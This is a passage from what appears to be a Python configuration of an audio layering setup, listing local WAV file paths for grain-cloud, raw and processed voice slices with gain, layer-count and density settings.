# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-054.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-055.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-056.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-057.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-058.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-059.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-060.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-061.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-062.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-063.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-064.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-065.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-066.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-067.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-068.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-069.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-070.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-071.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-072.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-073.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-074.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-075.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-076.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-077.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-078.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-079.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-080.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-081.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-082.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-083.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-084.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-085.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-086.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-087.wav',
],
},
# swud main / raw
'raw': {
'gain_max': 9,
'gain_min': -6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0036.956621.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0014.427800.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0042.977528.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0049.157868.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0041.545805.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0047.039841.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0009.736145.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0034.032290.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0015.132132.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0022.125760.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0029.429773.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0022.687120.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0031.979909.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0050.829161.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0016.611950.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0051.339138.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0010.050295.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0044.780816.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0026.331020.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0052.255488.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0035.910113.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0017.674671.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0039.081361.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0051.135306.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0033.024830.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0008.570703.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0014.942540.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0000.017415.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0012.584512.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0005.977846.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0036.844966.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0013.870726.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0034.762336.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0019.048254.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0043.406599.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0051.723447.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0048.217438.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0050.324308.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0034.623900.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0033.258481.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0046.297166.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0033.641224.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0019.325238.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0013.050794.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0019.965692.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0027.816689.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0007.284150.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0039.723107.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0002.526236.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0044.541474.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0030.609977.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0023.178594.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0048.763787.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0014.805850.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0050.088299.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0053.352540.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0045.023628.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0030.249410.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0018.505079.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0046.517460.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0041.316984.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0012.189274.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0032.097846.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0032.429365.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0000.000000.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0045.255828.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0018.633152.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0021.297868.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0005.613220.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0018.353197.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0009.652517.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0016.311746.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0013.534671.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0035.824807.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0006.355465.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0034.469025.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0044.303379.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0010.872562.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0012.708617.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0015.901905.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/VID-20200218-converted_0010.527755.wav',
],
},
},
# sco_2 side / proc, processed voice slices
'sco_2': {
'proc': {
# # tsx trk031-1
# 'gain_max': -12,
# 'gain_min': -17,
# epy TRK044-autoedit-18
'gain_max': -15,
'gain_min': -30,
'numlayer': 10,
'density': 0.4,
'files': [
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-000.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-001.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-002.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-003.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-004.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-005.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-006.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-007.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-008.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-009.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-010.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-011.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-012.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-013.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-014.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-015.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-016.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-017.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-018.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-019.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-020.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-021.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-022.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-023.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-024.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-025.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-026.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-027.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-028.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-029.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-030.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-031.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-032.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-033.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-034.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-035.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-036.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-037.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-038.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-039.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-040.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-041.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-042.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-043.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-044.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-045.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-046.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-047.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-048.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-049.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-050.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-051.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-052.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-053.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-054.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-055.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-056.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-057.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-058.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-059.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-060.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-061.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-062.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-063.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-064.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-065.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-066.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-067.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-068.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-069.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-070.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-071.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-072.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-073.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-074.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-075.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-076.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-077.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-078.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-079.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-080.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-081.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-082.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-083.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-084.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-085.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-086.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-087.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-088.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-089.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-090.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-091.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-092.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-093.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-094.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-095.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-096.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-097.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-098.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-099.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-100.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-101.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-102.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-103.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-104.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-105.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-106.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-107.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-108.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-109.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-110.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-111.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-112.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-113.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-114.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-115.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-116.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-117.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-118.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-119.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-120.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-121.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-122.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-123.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-124.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-125.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-126.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-127.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-128.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-129.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-130.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-131.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-132.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-133.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-134.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-135.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-136.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-137.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-138.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/fxgo-139.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-000.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-001.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-002.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/pulsar_synth-003.wav',
